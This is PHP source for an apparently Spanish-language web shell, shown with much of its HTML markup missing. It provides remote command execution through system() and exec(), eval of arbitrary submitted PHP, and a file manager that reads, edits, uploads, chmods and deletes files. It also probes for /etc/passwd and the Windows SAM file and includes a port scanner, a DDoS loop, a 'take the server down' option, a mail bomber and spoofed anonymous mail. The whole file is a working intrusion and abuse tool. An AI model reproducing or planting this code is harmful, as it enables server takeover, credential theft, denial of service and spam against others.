1







'.$nombre_s.' '.$version.'
'; $gardara=$_POST['gardara']; $filepath=realpath($_POST['filepath']); if ($gardara <> "") { $fp=fopen("$filepath","w+"); fwrite ($fp,"") ; fwrite ($fp,$gardara) ; fclose($fp); echo " "; } return 0; } function tamaño($size){ if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} else {$size = $size . " B";} return $size;} function permisos($file) { $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) {$info = 's';} elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} elseif (($perms & 0x8000) == 0x8000) {$info = '-';} elseif (($perms & 0x6000) == 0x6000) {$info = 'b';} elseif (($perms & 0x4000) == 0x4000) {$info = 'd';} elseif (($perms & 0x2000) == 0x2000) {$info = 'c';} elseif (($perms & 0x1000) == 0x1000) {$info = 'p';} else {$info = 'u';} $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-')); return $info; } $fchmod=$_GET['fchmod']; if ($fchmod <> "" ){ $fchmod=realpath($fchmod); echo "

File: $fchmod

Chmod :


'; ?>
Calculate perms
Perms Owner Group Other
Read
Write
Execute
 

<? $chmod0=$_POST['chmod0']; if ($_POST['chmod0']) { if ($chmod0 <> ""){ chmod ($fchmod , $chmod0); }else { echo "No se permite cambiar Chmod"; }} echo '

'.$nombre_s.' '.$version.'
'; exit(); } if ($opcion == 'info_sistema') { echo '
System info

  PHP info
  Sistema operativo: '.php_uname().'
  Server: '.$_SERVER['SERVER_SOFTWARE'].'
  Versionn PHP: '.PHP_VERSION.'
  Espacio: '.tamaño(diskfreespace(getcwd())).'/'.tamaño(disk_total_space(getcwd())).'
  Host: '.$_SERVER['HTTP_HOST'].'
  IP: '.$_SERVER['SERVER_ADDR'].'
  Admin mail: '.$_SERVER['SERVER_ADMIN'].'
  Safe Mode: '.$safe.'
  cURL: '.(($curl_on)?('On'):('Off')).'
  Perl: '.$perle.'.
  Magic quotes: '.$magic.'.
  WGET: '.$wgete.'.
  Bases de datos activas: '.$base.'
'; if (file_exists("C:/WINDOWS/repair/sam")) { echo '  Found: SAM'; } if (file_exists("/etc/passwd")) { echo '  Found: <style="color: white;">etc/passwd
'; } echo '
'; } elseif ($opcion == 'dos') { echo '
DOS


DDOS | DOS Local'; } elseif ($opcion == 'escaner_puertos') { echo '
Port scan


Target:
Start:
End:


'; if ($target != '') { echo 'Target: '.$target.'
'; echo 'Rango: '.$inicio.'-'.$final.'

'; } $final++; for ( $i = $inicio ; $i < $final ; $i++ ) { $abierto = @fsockopen($target,$i,$errno,$errstr,1); if ($abierto) { echo "Port open: ".$i."
"; } else { if ($target != '') { echo "Port close: ".$i."
"; }}} echo '
'; } elseif ($opcion == 'mail') { echo '
Mail



Mail bomber | Mail anonymous'; } elseif ($opcion == 'ddos') { echo '
DDOS



URL: Time:

'; if($_POST['ddosf'] && $_POST['timeddos']){ for ($id=0;$$id<$_POST['timeddos'];$id++){ $fp=null; $contents=null; $fp=fopen($_POST['ddosf'],"rb"); while (!feof($fp)) { $contents .= fread($fp, 8192); } fclose($fp); }} } elseif ($opcion == 'derribar') { echo '
Dos local



Si pulsas el botón de abajo es probable que el servidor acabe caido, ¿estás seguro?

¡¡Tirar!! '; } elseif ($opcion == 'encode_decode') { echo '
Encode/decode

'; $tipoe = 'Cadena'; $cadena = $_POST[cadena]; $tipoende = $_POST[tipoende]; if ($tipoende=='MD5 - encode') { $resultado = md5($cadena); } elseif ($tipoende=='MD4 - encode') { $resultado = hash('md4', $cadena); } elseif ($tipoende=='SHA1 - encode') { $resultado = sha1($cadena); } elseif ($tipoende=='SHA256 - encode') { $resultado = hash('sha256', $cadena); } elseif ($tipoende=='SHA384 - encode') { $resultado = hash('sha384', $cadena); } elseif ($tipoende=='SHA512 - encode') { $resultado = hash('sha512', $cadena); } elseif ($tipoende=='ripemd128 - encode') { $resultado = hash('ripemd128', $cadena); } elseif ($tipoende=='ripemd160 - encode') { $resultado = hash('ripemd160', $cadena); } elseif ($tipoende=='ripemd256 - encode') { $resultado = hash('ripemd256', $cadena); } elseif ($tipoende=='ripemd320 - encode') { $resultado = hash('ripemd320', $cadena); } elseif ($tipoende=='whirlpool - encode') { $resultado = hash('whirlpool', $cadena); } elseif ($tipoende=='tiger128,3 - encode') { $resultado = hash('tiger128,3', $cadena); } elseif ($tipoende=='tiger160,3 - encode') { $resultado = hash('tiger160,3', $cadena); } elseif ($tipoende=='tiger192,3 - encode') { $resultado = hash('tiger192,3', $cadena); } elseif ($tipoende=='tiger128,4 - encode') { $resultado = hash('tiger128,4', $cadena); } elseif ($tipoende=='tiger160,4 - encode') { $resultado = hash('tiger160,4', $cadena); } elseif ($tipoende=='tiger192,4 - encode') { $resultado = hash('tiger192,4', $cadena); } elseif ($tipoende=='snefru - encode') { $resultado = hash('snefru', $cadena); } elseif ($tipoende=='gost - encode') { $resultado = hash('gost', $cadena); } elseif ($tipoende=='adler32 - encode') { $resultado = hash('adler32', $cadena); } elseif ($tipoende=='crc32 - encode') { $resultado = hash('crc32', $cadena); } elseif ($tipoende=='crc32b - encode') { $resultado = hash('crc32b', $cadena); } elseif ($tipoende=='haval128,3 - encode') { $resultado = hash('haval128,3', $cadena); } elseif ($tipoende=='haval160,3 - encode') { $resultado = hash('haval160,3', $cadena); } elseif ($tipoende=='haval192,3 - encode') { $resultado = hash('haval192,3', $cadena); } elseif ($tipoende=='haval224,3 - encode') { $resultado = hash('haval224,3', $cadena); } elseif ($tipoende=='haval256,3 - encode') { $resultado = hash('haval256,3', $cadena); } elseif ($tipoende=='haval128,4 - encode') { $resultado = hash('haval128,4', $cadena); } elseif ($tipoende=='haval160,4 - encode') { $resultado = hash('haval160,4', $cadena); } elseif ($tipoende=='haval192,4 - encode') { $resultado = hash('haval192,4', $cadena); } elseif ($tipoende=='haval224,4 - encode') { $resultado = hash('haval224,4', $cadena); } elseif ($tipoende=='haval256,4 - encode') { $resultado = hash('haval256,4', $cadena); } elseif ($tipoende=='haval128,5 - encode') { $resultado = hash('haval128,5', $cadena); } elseif ($tipoende=='haval160,5 - encode') { $resultado = hash('haval160,5', $cadena); } elseif ($tipoende=='haval192,5 - encode') { $resultado = hash('haval192,5', $cadena); } elseif ($tipoende=='haval224,5 - encode') { $resultado = hash('haval224,5', $cadena); } elseif ($tipoende=='haval256,5 - encode') { $resultado = hash('haval256,5', $cadena); } elseif ($tipoende=='Base64 - encode') { $resultado = base64_encode($cadena); } elseif ($tipoende=='Base64 - decode') { $resultado = base64_decode($cadena); } elseif ($tipoende=='URL - encode') { $resultado = rawurlencode($cadena); } elseif ($tipoende=='URL - decode') { $resultado = rawurldecode($cadena); } if ($tipoende != ''){ $tipoe = $tipoende; } echo '
'.$tipoe.':

 
'; } elseif ($opcion == 'mail_bomber') { echo '
Mail Bomber

To:      
Sender:      
Nombre:      
Subject:      
Count:      
Message:      

'; if (isset($_POST['Send'])) { $need .="MIME-Version: 1.0\n"; $need .="Content-type: text/html ; charset=iso-8859-1\n"; $need .="MIME-Version: 1.0\n"; $need .="From: ".$_POST['nombreremitente']." <".$_POST['remitente'].">\n"; $need .="To: ".$_POST['nombreremitente']."<".$_POST['remitente'].">\n"; $need .="Reply-To:".$_POST['remitente']."\n"; $need .="X-Priority: 1\n"; $need .="X-MSMail-Priority:Hight\n"; $need .="X-Mailer:Widgets.com Server"; echo "


Result:

"; for ($i = 1; $i <= $_POST['cantidad']; $i++) { $listamails = 'Ninguna'; if ($listamails != "Ninguna") { $open = fopen($listamails,"r"); while(!feof($open)) { $word = fgets($open,255); $word = chop($word); if(@mail($word,$_POST['asunto'],$_POST['mensaje'],$need)) { echo "[+] Send $i a ".$word." successfully.
"; flush(); } else { echo "[+] Send $i a ".$word." error.
"; }}} else { if(@mail($_POST['destinatario'],$_POST['asunto'],$_POST['mensaje'],$need)) { echo "[+] Send $i a ".$_POST['destinatario']." successfully.
"; flush(); } else { echo "[+] Send $i a ".$_POST['destinatario']." error.
"; }}} echo "


"; } } elseif ($opcion == 'mail_anonimo') { $error = ''; $Nombre = ''; $emailto = ''; $emailde = ''; $asunto = ''; $mensaje = ''; if(isset($_POST['send'])) { $Nombre = $_POST['Nombre']; $emailto = $_POST['emailto']; $emailde = $_POST['emailde']; $asunto = $_POST['asunto']; $mensaje = $_POST['mensaje']; if(trim($Nombre) == '') { $error = '
Write a name
'; } else if(trim($emailto) == '') { $error = '
Write a email
'; } if(trim($emailde) == '') { $error = '
Write destinatario.
'; } else if(trim($asunto) == '') { $error = '
Write a subject.
'; } else if(trim($mensaje) == '') { $error = '
Write a message.
'; } if($error == '') { $a = $emailto; mail($a, $asunto, $mensaje, "From: $emailde\r\nReply-To: $emailto\r\nReturn-Path: $emailto\r\n"); ?>

Enviado

Enviado correctamente a.

" />
<? } } elseif ($opcion == 'salir') { session_destroy(); echo '
All sessions have been destroyed.
'; } elseif ($opcion == 'eval') { echo "
Eval

Código:

'; if (isset($_POST['cargar'])) { echo "

"; eval($_POST['codigo']); echo "


"; }} else { $homedir=getcwd(); $dir=realpath($_GET['dir'])."/"; echo '
File manager

  Shell: '.$shelldir.'
  Home:'.$homedir.'/
  Now dir:'.$dir.'
'; $dir = opendir($path); echo "  Drives found: "; foreach($scan as $drives) { $drives = $drives.":\\"; if (is_dir($drives)) { echo "  "."".$drives."

"; } else { $drives = ""; }} if ($drives == "") { echo 'None.'; } echo '

'; $homedir=getcwd(); $dir=realpath($_GET['dir'])."/"; ?>


'; echo "

 


 Go to:
"; if (is_dir($dir)){ if ($dh=opendir($dir)){ while (($file = readdir($dh)) !== false) { $fsize=round(filesize($dir . $file)/1024); echo ""; } else { echo "  -"; } echo ""; } closedir($dh); } }echo '
Nombre: Size: Download: Edit: Perms: Chmod: Delete:
"; if (is_dir($dir.$file)) { echo " $file"; } else { echo " $file"; } echo " "; if (is_file($dir.$file)) { echo $fsize.' KB'; } else { if (is_dir($dir.$file)) { echo "  DIR"; } } echo " "; if (is_file($dir.$file)){ if (is_readable($dir.$file)){ echo "Descargar"; }else { echo "Can not read"; } }else { echo "  -"; } echo " "; if (is_file($dir.$file)) { if (is_readable($dir.$file)){ echo "Editar"; }else { echo "Can not read"; } }else { echo "  -"; } echo " "; echo permisos($file)." "; if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { echo "Not valid on windows"; } else { echo "Chmod"; } echo " "; if (is_file($dir.$file)){ echo "Borrar


'; if($_GET['cmd']) { echo '
'; $modo = $_GET[modo]; if ($modo=='System') { system($_GET['cmd']); } elseif ($modo=='Exec') { echo exec($_GET['cmd']); }}echo '
Cmd:

Create dir: '; if ($_POST['nombre_dir'] != "") { if (isset($_POST['botonsito'])) { $nombre_dir = $_POST['nombre_dir']; mkdir($nombre_dir); echo " "; echo 'Directorio creado correctamente'; } else { echo 'Error to create file.'; }}echo '

Create file: '; if (isset($_POST['creara'])) { chdir($_POST['dir']); if (fopen($_POST['creara'],"w")) { echo "File created."; echo " "; }else { echo "Error to created file."; }}echo '

Upload: to:
'; if (isset($_FILES['archivo'])) { $subir = basename($_FILES['archivo']['name']); if (move_uploaded_file($_FILES['archivo']['tmp_name'],$subir)) { }}echo '
Copy: to: '; if ($_POST['archivo'] != '') { if (copy($_POST['archivo'],$_POST['nuevo'])) { echo " Copiado correctamente."; echo " "; } else { echo 'Copy error.'; } }echo '
'; }echo '

'.$nombre_s.' '.$version.'
'; ?>